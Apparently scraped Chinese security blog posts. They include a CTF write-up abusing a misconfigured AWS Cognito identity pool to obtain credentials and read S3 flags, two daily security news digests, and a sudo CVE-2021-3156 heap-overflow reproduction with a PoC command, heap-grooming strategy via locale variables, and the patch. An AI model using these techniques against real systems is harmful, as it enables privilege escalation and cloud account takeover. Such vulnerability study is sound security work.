https://wiz-privatefiles.s3.amazonaws.com/ https://s3.amazonaws.com/wiz-privatefiles/ https://wiz-privatefiles.s3.amazonaws.com/soap/ 如上策略有两个声明,VisualEditor0声明允许向MobileAnalytics服务发送事件数据以及对Cognito Sync服务执行任何操作,且对这两个服务中的所有资源都可以操作。VisualEditor1声明允许执行GetObject和ListBucket两个操作,来获取wiz-privatefiles存储桶中的对象并列出存储桶中的内容。 解题思路: 根据题目提示得知AWS Cognito服务为主要身份提供商,问题大概率出现在此处,通过搜索AWS Cognito配置错误看到一篇文章: https://www.wangan.com/p/7fy7f8abba5c0234       //通过错误配置的AWS Cognito接管AWS帐户 结合该思路我们首先需要获取到该AWS Cognito服务的identity_pool_id: 梳理下常见的获取identity_pool_id方法: 1、通过应用程序代码查找使用Cognito的部分,并寻找可能存在identity_pool_id的位置,通常在一些JS文件或者接口中可能存在。 2、通过监控分析网络流量分析捕获应用程序与Cognito之间的通信。在捕获的网络流量中,搜索包含 identity_pool_id 的请求或响应。 3、通过搜寻查找一些配置文件或环境变量及启动脚本等获取Cognito相关的配置信息。 4、通过分析应用程序日志,查找 identity_pool_id 的信息。有时日志文件会记录与身份池相关的操作或配置。 5、通过aws控制台或CLI命令行获取identity_pool_id,前提是需要有一定权限。 结合文章思路在前端页面获取到IdentityPoolId: AWS.config.credentials = new AWS.CognitoIdentityCredentials({IdentityPoolId: "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"}); 获取到identity_pool_id通过脚本再获取AK密钥进行配置: 由于当前云终端权限限制的问题,改用本地进行配置及后续操作: aws configure aws configure set aws_access_key_id aws configure set aws_secret_access_key aws configure set aws_session_token "" 获取到Flag如下: {wiz:incognito-is-always-suspicious} Challenge6: One final push Anonymous access no more. Let's see what can you do now. Now try it with the authenticated role: arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role 查看提示并获取本关的IAM策略如下: {   "Version": "2012-10-17",   "Statement": [       {           "Effect": "Allow",           "Principal": {               "Federated": "cognito-identity.amazonaws.com"           },           "Action": "sts:AssumeRoleWithWebIdentity",               "Condition": {               "StringEquals": {                   "cognito-identity.amazonaws.com:aud": "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"               }           }       }   ] } 该策略用于定义IAM角色的信任关系,当cognito-identity身份服务进行Web身份验证时,可以使用STS的AssumeRoleWithWebIdentity操作请求临时凭证进行验证身份。此操作将验证来自cognito-identity身份服务的用户身份,并根据策略规定的条件和权限,为该用户生成一组临时凭证。这些临时凭证具有一定的时效性,可用于对 AWS 资源进行访问。 解题思路: 题目中提示不再有匿名访问且需要使用身份aws:iam::092297851374:role/Cognito_s3accessAuth_Role进行操作,策略信息也指明了cognito-identity验证中的aud必须是identity_pool_id为us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b。思路如下: 1、获取身份标识符identity-id aws cognito-identity get-id --identity-pool-id "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b" 2、获取对应身份标识的令牌token aws cognito-identity get-open-id-token --identity-id 获取到的identity-id 3、使用获取到的身份验证令牌指定目标角色来获取临时访问凭证 aws sts assume-role-with-web-identity --role-arn arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role --role-session-name 自定义session名称 --web-identity-token 获取到的token令牌 4、根据获取到的AK密钥配置并获取flag aws s3 ls aws s3 ls s3://wiz-privatefiles-x1000 aws s3 cp s3://wiz-privatefiles-x1000/flag2.txt - 获取到flag如下: {wiz:open-sesame-or-shell-i-say-openid}
网络安全日报 2023年06月29日
1、Akira勒索软件开始针对Linux平台发起攻击 https://blog.cyble.com/2023/06/28/akira-ransomware-extends-reach-to-linux-platform/ Akira是一种新型的勒索软件,自2023年4月出现以来,已经攻击了多个行业的数十个组织,窃取和加密了他们的敏感数据。如果受害者不支付赎金,攻击者就会威胁在暗网上出售或泄露数据。值得注意的是,Akira勒索软件已经扩展了其攻击范围,包括了Linux平台。研究人员发现了一个复杂的Linux版本的Akira勒索软件。这个恶意的Linux可执行文件是一个64位的Linux Executable and Linkable Format 2、西门子能源在MOVEit数据窃取攻击后确认数据泄露 https://www.bleepingcomputer.com/news/security/siemens-energy-confirms-data-breach-after-moveit-data-theft-attack/ 西门子能源已经确认,在最近的Clop勒索软件数据窃取攻击中,使用了MOVEit Transfer平台的一个零日漏洞,导致数据被盗。Clop在其数据泄露网站上列出了西门子能源,表明该公司的数据在一次入侵中被窃取。虽然目前还没有数据被泄露,但西门子能源的一位发言人证实,他们是最近利用MOVEit Transfer零日漏洞(追踪为CVE-2023-34362)进行的Clo 3、大众汽车车载娱乐系统曝安全漏洞,可被远程控制 https://www.freebuf.com/news/370513.html 根据GitHub的一份报告,大众汽车Discover Media信息娱乐系统的漏洞是在2023年2月28日发现的。该漏洞可能会使未打补丁的系统遭到拒绝服务(DoS)攻击。该漏洞起初是由大众汽车的用户发现的,随后大众汽车方面确认了该漏洞,漏洞的标识为CVE-2023-34733。 4、Windows 11 将为 Windows Hello 提供内置密钥管理器 https://www.bleepingcomputer.com/news/microsoft/windows-11-is-getting-a-built-in-passkey-manager-for-windows-hello/ Microsoft 正在扩大对 Windows 11 中的密钥的支持,以便使用生物识别身份验证更安全地登录网站和应用程序。 5、为防止泄密,美国国会明确要求职员仅可使用付费版 ChatGPT https://www.ithome.com/0/702/257.htm 据外媒 Axios 报道,美国众议院正对国会办公室提出一项新的要求:各办公室仅允许使用付费版的 ChatGPT Plus。 6、腾讯 QQ/TIM 存在本地提权漏洞,可通过QQProtect进程无感提权 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-34312 在Tencent QQ 9.7.8.29039 版本和TIM 3.4.7.22084 版本中,QQProtect.exe 和QQProtectEngine.dll 不验证进程间通信的指针,这会导致write-what-where 情况。 7、数十家企业最近受到“8Base”勒索软件团伙的攻击 https://www.securityweek.com/dozens-of-businesses-hit-recently-by-8base-ransomware-gang/ 过去一个月,8Base 勒索软件团伙袭击了大约 30 家小型企业,自 2022 年 3 月以来,受害者总数约为 80 人。 8、Gentoo Soko 中的SQL 注入漏洞可能导致远程代码执行 https://securityaffairs.com/147911/hacking/gentoo-soko-sqli.html SonarSource 研究人员在 Gentoo Soko 中发现了两个 SQL 注入漏洞,统称为 CVE-2023-28424(CVSS 评分:9.1),远程攻击者可利用这些漏洞在易受攻击的系统上执行任意代码。 9、CryptosLabs 诈骗团伙针对法语投资者,已骗取 4.8 亿欧元 https://thehackernews.com/2023/06/cryptoslabs-scam-ring-targets-french.html 网络安全研究人员揭露了一个名为CryptosLabs的诈骗团伙的运作方式,自 2018 年 4 月以来,该团伙针对法国、比利时和卢森堡的法语用户,估计已赚取 4.8 亿欧元的非法利润。Group-IB在一份深度报告中https://www.group-ib.com/blog/cryptoslabs-investment-scams/,该集团的大规模虚假投资计划主要涉及冒充 40 家知名银行、金融科技公司、资产管理公司和加密平台,建立涵盖 35 10、电磁故障注入 (EMFI) 攻击可实现任意代码执行并接管无人机 https://securityaffairs.com/147929/hacking/electromagnetic-fault-injection-attacks-drones.html 对无人机的电磁故障注入 (EMFI) 攻击可能会让攻击者实现任意代码执行并接管无人机。IOActive 的研究人员分析了如何开发针对强化无人机 (UAV) 的故障注入攻击。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
Sudo堆溢出漏洞(CVE-2021-3156)复现
背景介绍 2021 年 1 月 26 日,Qualys Research Labs在 sudo 发现了一个缺陷。sudo 解析命令行参数的方式时,错误的判断了截断符,从而导致攻击者可以恶意构造载荷,使得sudo发生堆溢出,该漏洞在配合环境变量等分配堆以及释放堆的原语下,可以致使本地提权。 环境搭建 环境版本 • ubuntu 20.04 • sudo-1.8.31p2 采用下述命令进行编译安装 cd ./sudo-SUDO_1_8_31p2 mkdir build ./configure --prefix=/home/pwn/sudo CFLAGS=”-O0 -g" make && make install 漏洞验证 #poc ./sudoedit -s '\' 11111111111111111111111111111111111111111111111111111111111111111111 执行上述POC执行sudoedit会出现malloc():invalid size的字样,这是典型的堆溢出后导致的异常。 漏洞分析 源码分析 set_cmnd函数 File: plugins\sudoers\sudoers.c 800: static int 801: set_cmnd(void) 802: {   ... 819:     if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { //需要满足标志位的设置才能进入转义的流程   ... 845: 846: /* set user_args */ 847: if (NewArgc > 1) { 848:    char *to, *from, **av; 849:    size_t size, n; 850: 851:    /* Alloc and build up user_args. */ 852:    for (size = 0, av = NewArgv + 1; *av; av++) //遍历每一个参数 853: size += strlen(*av) + 1; //计算每一个参数的长度 854:    if (size == 0 || (user_args = malloc(size)) == NULL) { //通过malloc动态分配一段内存,用于存放参数内容 855: sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory")); 856: debug_return_int(-1); 857:   } 858:    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { //需要满足标志位的设置才能进入转义的流程 859: /* 860: * When running a command via a shell, the sudo front-end 861: * escapes potential meta chars. We unescape non-spaces 862: * for sudoers matching and logging purposes. 863: */ 864: for (to = user_args, av = NewArgv + 1; (from = *av); av++) { //遍历每个环境变量,并将内容拷贝到内存中 865:    while (*from) {   /*   漏洞点,当扫描参数内容时,遇到\需要进行转义处理,例如'\t'、'\n'等,因此sudo只判断\后是否跟随着空格字符,即用isspace函数进行判 断。   isspace包括的字符如下:   ' '     (0x20)   space (SPC) 空格符 '\t'   (0x09)   horizontal tab (TAB) 水平制表符     '\n'   (0x0a)   newline (LF) 换行符 '\v'   (0x0b)   vertical tab (VT) 垂直制表符 '\f'   (0x0c)   feed (FF) 换页符 '\r'   (0x0d)   carriage return (CR) 回车符 以上不包括'\0'。 而参数之间是使用'\0'作为分隔符的,因此当'\\'后跟随的'\0'会使得from++从而导致将后一个参数也被拷贝进来,最后致使堆块溢出。   */ 866: if (from[0] == '\\' && !isspace((unsigned char)from[1])) 867:    from++; 868: *to++ = *from++; 869:   } 870:    *to++ = ' '; 871: } 872: *--to = '\0'; 使用POC的例子对漏洞进行说明 漏洞原理图 因此漏洞点在于在进入set_cmnd函数时需要对转义字符进行转义,但是函数却没有判断转义字符作为参数末尾的情况,即\ + \x00 parse_args函数 parse_args函数用于反转义,即参数中若存在转义字符,会在每个转义字符之前增加一个\ File: src\parse_args.c 592:     if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) { //需要满足标志位的设置才会进入反转义流程 593: char **av, *cmnd = NULL; 594: int ac = 1; 595: 596: if (argc != 0) { 597:    /* shell -c "command" */ 598:    char *src, *dst; 599:    size_t cmnd_size = (size_t) (argv[argc - 1] - argv[0]) + 600: strlen(argv[argc - 1]) + 1; 601: 602:    cmnd = dst = reallocarray(NULL, cmnd_size, 2); 603:    if (cmnd == NULL) 604: sudo_fatalx(U_("%s: %s"), __func__, U_("unable to allocate memory")); 605:    if (!gc_add(GC_PTR, cmnd)) 606: exit(1); 607: 608:    for (av = argv; *av != NULL; av++) { 609: for (src = *av; *src != '\0'; src++) { 610:    /* quote potential meta characters */ 611:    if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '#39;) 612: *dst++ = '\\'; 613:    *dst++ = *src; 614: } 615: *dst++ = ' '; 616:   } 617:    if (cmnd != dst) 618: dst--;  /* replace last space with a NUL */ 619:    *dst = '\0'; 620: 621:    ac += 2; /* -c cmnd */ 622: } 这也是为什么set_cmnd函数需要对参数进行转义,因此若先经过parse_args函数进行反转义,后经过set_cmnd函数进行转义,那么sudo是不会出现漏洞情况的 绕过检验 那么如何绕过set_cmnd函数直接进入parse_args函数,才是漏洞能够被成功触发的关键因素 首先是如何才能过进入set_cmnd函数,sudo会经过两重检测 sudo_mode需要具有MODE_RUN、MODE_EDIT或者MODE_CHECK的标志位 sudo_mode需要具有MODE_SHELL或者MODE_LOGIN_SHELL的标志位 File: plugins\sudoers\sudoers.c ... 819:     if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { //需要满足标志位的设置才能进入转义的流程   ... 858:    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { //需要满足标志位的设置才能进入转义的流程 想要获得MODE_SHELL的标志位,则需要设置-s参数,此时通过 SET(flags, MODE_SHELL),将flag设置上MODE_SHELL,并且默认的mode是为NULL,因此设置-s参数可以使得flag即设置MODE_SHELL又设置MODE_RUN。 File: src\parse_args.c 479: case 's': 480:    sudo_settings[ARG_USER_SHELL].value = "true"; 481:    SET(flags, MODE_SHELL); 482:    break; ... 534: if (!mode) 535:    mode = MODE_RUN; /* running a command */ 536:     } 但是若使用sudo -s,那么就会导致flag即设置MODE_SHELL又设置MODE_RUN,就会进入parse_args函数的流程,该流程会把所有非字母数字的字符前方增加一个'\',那么就会导致我们无法构造'' + '\x00'的漏洞字符,因此想要漏洞利用成功,我们不需要程序进入set_cmd函数,但是不能进入parse_args函数 File: src\parse_args.c 592:     if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) { //需要满足标志位的设置才会进入反转义流程   ... 608:    for (av = argv; *av != NULL; av++) { 609: for (src = *av; *src != '\0'; src++) { 610:    /* quote potential meta characters */ 611:    if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '#39;) 612: *dst++ = '\\'; 613:    *dst++ = *src; 614: }   ... 622: } 在parse_args函数的开头,会检测是以sudo还是以sudoedit进行调用,若使用sudoedit调用,那么会直接给mode设置上MODE_EDIT,从而绕过了mode==NULL时,需要将flag设置为MODE_RUN,因此使用sudoedit -s,可以使得flag即设置MODE_EDIT又设置MODE_SHELL File: src\parse_args.c   ... 265:     proglen = strlen(progname); 266:     if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) { 267: progname = "sudoedit"; 268: mode = MODE_EDIT; 269: sudo_settings[ARG_SUDOEDIT].value = "true"; 270:     } 想要进入set_cmnd第二条路径就是flag设置为MODE_EDIT | MODE_SHELL,这样的输入就能够绕过parse_args函数而禁止进入set_cmd函数,这也是为什么sudo的堆溢出,需要使用sudoedit -s触发,而不是sudo -s File: plugins\sudoers\sudoers.c ... 819:     if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { //需要满足标志位的设置才能进入转义的流程   ... 858:    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { //需要满足标志位的设置才能进入转义的流程 漏洞利用 漏洞利用分析 由于程序存在一个明显的堆溢出漏洞,因此需要梳理一下堆溢出如何进行利用。 • 找到一个堆块,该堆块的值会影响程序执行的流程,这里称之为可利用堆块。 • 找到可以随意控制堆块位置的操作,将漏洞函数申请的堆块部署在可利用堆块的上方,当堆溢出触发时,可以将可利用堆块的值被改写成我们预期的值。 可利用堆块 nss是用于解析和获取不同类型的名称信息,例如如何通过用名称去获取用户信息,在sudo需要获取用户信息时则需要调用nss。 在使用nss去获取信息时,其实是通过不同的动态链接库去执行相应的行为,而这些库的文件名则存在于/etc/nsswitch.conf的配置文件中 例如想要查询passwd文件则需要用到libnss_files.so与libnss_systemed.so 那么如何加载这些动态链接库则需要依赖于nss_load_library函数,而且这些相关信息都被存放在service_user结构体中,而该结构体是存放在堆内存中的。 接着得先研究该结构体的值是否会影响程序的执行流程,代码如下。 File: nsswitch.c 327: static int 328: nss_load_library (service_user *ni) 329: { 330:   if (ni->library == NULL) 331:     { 332:       /* This service has not yet been used. Fetch the service 333: library for it, creating a new one if need be. If there 334: is no service table from the file, this static variable 335: holds the head of the service_library list made from the 336: default configuration. */ 337:       static name_database default_table; 338:       ni->library = nss_new_service (service_table ?: &default_table, 339:     ni->name); //若ni->library的值为NULL,那么就会新建一个ni->library并将成员都进行初始化 340:       if (ni->library == NULL) 341: return -1; 342:     } 343: 344:   if (ni->library->lib_handle == NULL) //由于ni->library刚新建,因此ni->library->lib_handle必定为NULL 345:     { 346:       /* Load the shared library. */ 347:       size_t shlen = (7 + strlen (ni->name) + 3 348:      + strlen (__nss_shlib_revision) + 1); 349:       int saved_errno = errno; 350:       char shlib_name[shlen]; 351: 352:       /* Construct shared object name. */ 353:       __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name, 354:      "libnss_"), 355:    ni->name), 356:  ".so"), //shalib_name是根据拼接得到 357: __nss_shlib_revision); 358: 359:       ni->library->lib_handle = __libc_dlopen (shlib_name); //加载动态链接库 上述代码有个非常关键的点在于,程序会使用__libc_dlopen打开shalib_name指定的动态链接库,而shalib_name是通过ni->name进行一系列的拼接得到,而ni->name则是存放在结构体service_user *ni中的,该结构体又是存放在堆内存中的。那么我们就找到了关键的值ni->name,它是能够完成修改程序执行流程的关键变量。 举个例子,例如我们将ni->name修改为X/test,那么最后拼接的结果会得到libnss_X/test.so,那么如果我们在当前目录下新建一个libnss_X并且在该目录中创建一个test.so的动态链接库,那么sudo就会加载并执行我们动态链接库中的代码。至此我们找到利用的第一个关键因素,可利用堆块。 布置堆块的操作 由于我们已经找到了可利用的堆块,如果能够将堆溢出的堆块部署在可利用堆块的上方,在利用堆溢出修改ni->name,即可完成任意代码执行的效果。 在sudo的main函数中,会执行setlocate函数。setlocale 是一个用于设置程序的区域设置(locale)的函数,在许多编程语言和操作系统中都有对应的实现。 区域设置是指程序在运行时所采用的语言、地区、日期格式、货币符号等相关信息的集合。通过设置区域设置,程序可以根据不同的地区和语言环境来适应本地化需求。 export LC_ALL=en_US.UTF-8@XXXX 而在setlocal函数中涉及十分多的堆块分配与释放的操作,当调用setlocal(LC_ALL,"")时,程序会通过环境变量设置的值去搜索区域设置的值,而环境变量的搜索则依靠_nl_find_locale函数。 _nl_find_locale函数 File: locale\findlocale.c 101: struct __locale_data * 102: _nl_find_locale (const char *locale_path, size_t locale_path_len, 103: int category, const char **name) 104: {   ... 184:   /* LOCALE can consist of up to four recognized parts for the XPG syntax: 185: 186: language[_territory[.codeset]][@modifier] 187: 188:     Beside the first all of them are allowed to be missing. If the 189:     full specified locale is not found, the less specific one are 190:     looked for. The various part will be stripped off according to 191:     the following order: 192: (1) codeset 193: (2) normalized codeset 194: (3) territory 195: (4) modifier 196:   */       /*       区域的格式为C_en_US.UTF-8@XXXXXX       _nl_explode_name用于判断(1)(2)(3)(4)哪部分存在,哪部分缺失       */ 197:   mask = _nl_explode_name (loc_name, &language, &modifier, &territory, 198:   &codeset, &normalized_codeset); 199:   if (mask == -1) 200:     /* Memory allocate problem. */ 201:     return NULL; 202:   //locale_file则给区域设置进行动态内存的分配 205:   locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category], 206:    locale_path, locale_path_len, mask, 207:    language, territory, codeset, 208:    normalized_codeset, modifier, 209:    _nl_category_names_get (category), 0); //返回NULL 210: 211:   if (locale_file == NULL) 212:     { 213:       /* Find status record for addressed locale file. We have to search 214: through all directories in the locale path. */ 215:       locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category], 216: locale_path, locale_path_len, mask, 217: language, territory, codeset, 218: normalized_codeset, modifier, 219: _nl_category_names_get (category), 1); 220:       if (locale_file == NULL) 221: /* This means we are out of core. */ 222: return NULL; 223:     } } _nl_make_l10nflist**函数** _nl_make_l10nflist会根据我们传入的值进行堆块的分配。 File: intl\l10nflist.c 150: struct loaded_l10nfile * 151: _nl_make_l10nflist (struct loaded_l10nfile **l10nfile_list, 152:    const char *dirlist, size_t dirlist_len, 153:    int mask, const char *language, const char *territory, 154:    const char *codeset, const char *normalized_codeset, 155:    const char *modifier, 156:    const char *filename, int do_allocate) 157: {   ... 165:   //根据我们传入的区域值的长度进行动态分配 166:   abs_filename = (char *) malloc (dirlist_len 167:  + strlen (language) 168:  + ((mask & XPG_TERRITORY) != 0 169:     ? strlen (territory) + 1 : 0) 170:  + ((mask & XPG_CODESET) != 0 171:     ? strlen (codeset) + 1 : 0) 172:  + ((mask & XPG_NORM_CODESET) != 0 173:     ? strlen (normalized_codeset) + 1 : 0) 174:  + ((mask & XPG_MODIFIER) != 0 175:     ? strlen (modifier) + 1 : 0) 176:  + 1 + strlen (filename) + 1); 177:   ... 292: } setlocale**函数** setlocale函数总体操作则是读取环境变量的值获取区域设置的值,根据区域设置的值分配堆块大小,若其中存在不符合区域值的规范,则会将所有先前申请的堆块都释放掉。 File: locale\setlocale.c 334:       while (category-- > 0) 335: if (category != LC_ALL) 336: {   //通过_nl_find_locale函数去获取环境变量的值,存放在newdata[category]中 337:    newdata[category] = _nl_find_locale (locale_path, locale_path_len, 338: category, 339: &newnames[category]); 340: ... 364: else 365: {   //使用__strdup函数在堆内存中分配空间,并将newdata[category]拷贝进去 366:    newnames[category] = __strdup (newnames[category]); 367:    if (newnames[category] == NULL) 368:      break; 369: }   ... 393:  if (category != LC_ALL && newnames[category] != _nl_C_name 394:      && newnames[category] != _nl_global_locale.__names[category]) 395:    free ((char *) newnames[category]); //这里就是堆块释放的原语了,只要有一个区域设置的值不符合规范,则将之前所有申请的堆块都释放掉 因此可以通过区域值去控制堆块的大小,接着在最后设置一个错误的区域值去控制堆块的位置,至此我们找到可控制堆块的操作。 LC_IDENTIFICATION = C.UTF-8@XX..XX #若长度为0x10,则malloc(0x10) LC_MEASUREMENT = C.UTF-8@XX..XXX,#若长度为0X20,则malloc(0x20) LC_TELEPHONE = XXXX #不符合区域值的规范,则会调用free() exp的分析 由于我们需要控制server_user的堆块,因此需要知道该堆块的大小为多少,通过调试可知是0x40的堆块,因此利用setlocate多释放几个0x40的堆块,那么server_user就会使用到我们所释放的堆块。 紧接着将漏洞堆块分配到server_user堆块的上方,由于server_user的堆块是我们自己构建的,因此只需要在释放该堆块的同时也释放漏洞堆块即可,并且漏洞堆块的申请可是根据参数的长度所设置的 将设置区域值的函数设置为堆块分配与释放的原语,使用@后面的字符控制堆块的大小 使用错误的区域值进行堆块的释放 最后就是如何填充到可利用堆块,这里使用堆溢出,并且在环境变量中构造填充字符串,使得漏洞堆块可以覆盖掉可利用堆块的内容值,但这里需要注意的是,我们需要将ni->library中用\x00填充,而\x00是无法直接输入到环境变量中的,因此需要再次观察漏洞函数是如何拷贝字符的。根据代码分析可知,只要''后紧跟着'\x00',那么我们就能将\x00的值直接拷贝的堆内存中。紧接着将ni->name修改为我们认为构造的动态链接库即可。 File: plugins\sudoers\sudoers.c 866: if (from[0] == '\\' && !isspace((unsigned char)from[1])) //若 '\' 后跟着'\x00' 867:    from++; //此时from会指向\x00 868: *to++ = *from++; //使用\x00进行值的拷贝 869:   } 设置多个环境变量使得内存存在多个'' + '\x00',从而使用'\x00'去覆盖堆的内存值。 演示效果如下 漏洞修复 漏洞的修复则是将MODE_EDIT的标志位进行了额外的判断,并且在''后面增加了对'\0'的校验 --- a/plugins/sudoers/sudoers.c Sat Jan 23 08:43:59 2021 -0700 +++ b/plugins/sudoers/sudoers.c Sat Jan 23 08:43:59 2021 -0700 @@ -547,7 +547,7 @@     /* If run as root with SUDO_USER set, set sudo_user.pw to that user. */     /* XXX - causes confusion when root is not listed in sudoers */ -    if (sudo_mode & (MODE_RUN | MODE_EDIT) && prev_user != NULL) { +    if (ISSET(sudo_mode, MODE_RUN|MODE_EDIT) && prev_user != NULL) { if (user_uid == 0 && strcmp(prev_user, "root") != 0) {    struct passwd *pw; @@ -932,8 +932,8 @@     if (user_cmnd == NULL) user_cmnd = NewArgv[0]; -    if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { - if (ISSET(sudo_mode, MODE_RUN | MODE_CHECK)) { +    if (ISSET(sudo_mode, MODE_RUN|MODE_EDIT|MODE_CHECK)) { + if (!ISSET(sudo_mode, MODE_EDIT)) { //对MODE_EDIT进行了额外的判断    const char *runchroot = user_runchroot;    if (runchroot == NULL && def_runchroot != NULL &&    strcmp(def_runchroot, "*") != 0) @@ -961,7 +961,8 @@ sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory")); debug_return_int(NOT_FOUND_ERROR);   } -    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { +    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL) && +    ISSET(sudo_mode, MODE_RUN)) { //需要sudo -s才能进行转义 /* * When running a command via a shell, the sudo front-end * escapes potential meta chars. We unescape non-spaces @@ -969,10 +970,22 @@ */ for (to = user_args, av = NewArgv + 1; (from = *av); av++) {    while (*from) { - if (from[0] == '\\' && !isspace((unsigned char)from[1])) + if (from[0] == '\\' && from[1] != '\0' &&  //增加了'\0'的判断 + !isspace((unsigned char)from[1])) {    from++; + } + if (size - (to - user_args) < 1) { +    sudo_warnx(U_("internal error, %s overflow"), + __func__); +    debug_return_int(NOT_FOUND_ERROR); + } *to++ = *from++;   } +    if (size - (to - user_args) < 1) { + sudo_warnx(U_("internal error, %s overflow"), +    __func__); + debug_return_int(NOT_FOUND_ERROR); +   }    *to++ = ' '; } *--to = '\0'; 总结 Sudo堆溢出攻击流程 首先利用setlocate作为堆块分配与释放的原语,构造出适合的堆布局确保server_user堆块尽可能贴近漏洞代码开辟出来的堆块。 其次利用堆溢出将server_user堆块的ni->name值覆盖,覆盖的值为恶意构造的动态链接库名。 最后等待动态链接库被加载执行。 Sudo堆溢出利用的限制 由于sudo堆溢出依赖堆的布局,因此不同版本的sudo或者操作系统都会影响漏洞的利用。
网络安全日报 2023年06月28日
1、Anatsa安卓银行木马新一轮攻击针对英美德等国 https://www.threatfabric.com/blogs/anatsa-hits-uk-and-dach-with-new-campaign Anatsa是一种安卓银行木马,它可以通过伪装成正常的应用程序,诱骗用户在手机上安装它,然后窃取用户的银行凭证和执行欺诈性的转账。自2023年3月以来,Anatsa木马已经通过谷歌商店(Google Play Store)的多个下载器(dropper)传播,影响了超过3万个用户。Anatsa木马的目标主要是美国、英国和德语区(DACH)的银行机构,其恶意软件列表包含了全球近600个金融应用程序。研究人员已经确认了多起由Anatsa木马造成的 2、Teams存在漏洞,可被外部租户利用传播恶意软件 https://labs.jumpsec.com/advisory-idor-in-microsoft-teams-allows-for-external-tenants-to-introduce-malware/ Microsoft Teams是一款流行的协作和通信平台,但它也存在一个安全漏洞,可能让用户的设备受到恶意软件的攻击。这个漏洞被称为IDOR(不安全的直接对象引用),它允许外部租户(external tenants)绕过客户端的安全控制,向目标用户发送恶意文件。研究人员最近发现了这个漏洞,并向微软报告了。他们发现,Microsoft Teams的默认配置允许任何拥有微软账户的用户 3、微软发出警告,俄罗斯黑客正进行大范围的凭证窃取攻击 https://www.freebuf.com/news/370415.html 据微软披露,近日检测到由俄罗斯国家附属黑客组织 "午夜暴雪 "进行的凭证窃取攻击激增。微软的威胁情报团队说,入侵行为利用住宅代理服务来混淆攻击的源IP地址,目标是政府、IT服务提供商、非政府组织、国防和关键制造部门。 4、新的 Mockingjay 进程注入技术可逃避 EDR 检测 https://www.bleepingcomputer.com/news/security/new-mockingjay-process-injection-technique-evades-edr-detection/ 网络安全公司 Security Joes 的研究人员发现了这种方法,该方法利用带有 RWX(读、写、执行)部分的合法 DLL 来逃避 EDR 挂钩并将代码注入远程进程。 5、施耐德电气和西门子能源是 MOVEit 零日攻击的最新受害者 https://securityaffairs.com/147865/data-breach/schneider-electric-siemens-energy-moveit.html Cl0p 勒索软件组织在其暗网泄露网站上新增了 5 名 MOVEit 攻击受害者,其中包括工业控制系统巨头施耐德电气和西门子能源。 6、欧洲刑警组织摧毁EncroChat 抓捕 6,558 名犯罪分子并扣押 9 亿欧元 https://thehackernews.com/2023/06/encrochat-bust-leads-to-6558-criminals.html 欧洲刑警组织周二宣布,2020 年 7 月取缔EncroChat导致全球 6,558 人被捕,并没收了 9 亿欧元非法犯罪所得。该执法机构表示,法国和荷兰当局随后发起的联合调查拦截并分析了至少 6 万名用户通过加密消息平台进行的超过 1.15 亿次对话。 7、沃斯堡政府官员确认网络攻击事件,但否认敏感信息泄露 https://therecord.media/fort-worth-cyberattack-sieged-sec 德克萨斯州沃斯堡的官员证实,一个包含政府信息的网站被一群黑客入侵并访问,但淡化了事件的严重性。周五,一个名为 SiegedSec 的黑客组织在 Telegram 上声称,他们从该市政府窃取了约 500,000 个文件,该市有超过 935,000 名居民。 8、出资 2000 万美元!谷歌将在全美推广免费网络安全诊所 https://cybernews.com/security/google-pledges-20m-free-cybersecurity-clinics-across-us/ 谷歌声明将投入 2000 万美元,用于在美国各地开设更多的网络安全实践诊所,以帮助填补美国的网络安全劳动力缺口,并在不断变化的威胁面前保持领先地位。 9、5 月份,全球范围内针对组织的勒索软件攻击激增了近 25% https://cybernews.com/news/may-ransomware-attack-surge-8base-akira-new-gangs/ 一项新的研究显示,5 月份,全球范围内针对组织的勒索软件攻击数量激增了近 25%,这是今年迄今为止记录的最高数量,而这一增长的部分原因是现场出现了一个名为 8BASE 的新团伙。 10、全国人大法工委:为 AI 换脸诈骗提供技术支持同样追责 http://www.anquan419.com/knews/24/5413.html 针对利用“AI换脸”技术进行视频合成、进而实施诈骗这一新型电信网络诈骗的有关法律问题,全国人大常委会法制工作委员会举行记者会,发言人臧铁伟进行回应。他表示,对于构成诈骗罪的,要依照刑法规定追究刑事责任;对于为利用“AI换脸”实施诈骗行为提供技术支持、帮助的,要根据反电信网络诈骗法的规定进行行政处罚,构成犯罪的,还要根据刑法第二百八十七条之二帮助信息网络犯罪活动罪等追究刑事责任。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
LangChain 任意命令执行(CVE-2023-34541)
